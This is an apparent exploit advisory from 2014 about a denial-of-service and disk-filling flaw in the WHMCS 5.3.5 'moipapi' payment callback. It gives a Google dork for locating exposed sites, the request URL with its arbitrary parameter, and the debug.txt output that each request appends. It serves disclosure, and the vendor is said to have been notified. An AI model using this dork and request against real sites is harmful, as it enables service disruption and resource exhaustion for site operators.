WHMCS Moipapi DoS & Memory Consumption Vulnerability 5.3.5

[surivaton surivaton <surivaton () gmail com>]

WHMCS has been notified.

# Exploit Title: WHMCS Moipapi DoS & Memory Consumption Vulnerability 5.3.5
# Google Dork: inurl:/modules/gateways/callback/moipapi.php
-intext:"Gateway Module "moipapi" Not Activated"
# Date: 23/7/2014
# Exploit Author: surivaton
# Vendor Homepage: whmcs.com
# Version: 5.3.5
# Tested on: Linux, Windows
Possible denial of service with memory consumption and taking up disc space

URL: www.whmcshostedsite.com/modules/gateways/callback/moipapi.php?x=

Enter what ever you want after x=

Writes to debug.txt in same directory:
www.whmcshostedsite.com/modules/gateways/callback/debug.txt

What appears in debug.txt(a tad over 200 bytes):

-----------------------------------
POST received:
Array
(
)

-----------------------------------
Return MoIP data Invoice:
Date: 22/07/2014 09:36:53
Status []
Started payment.

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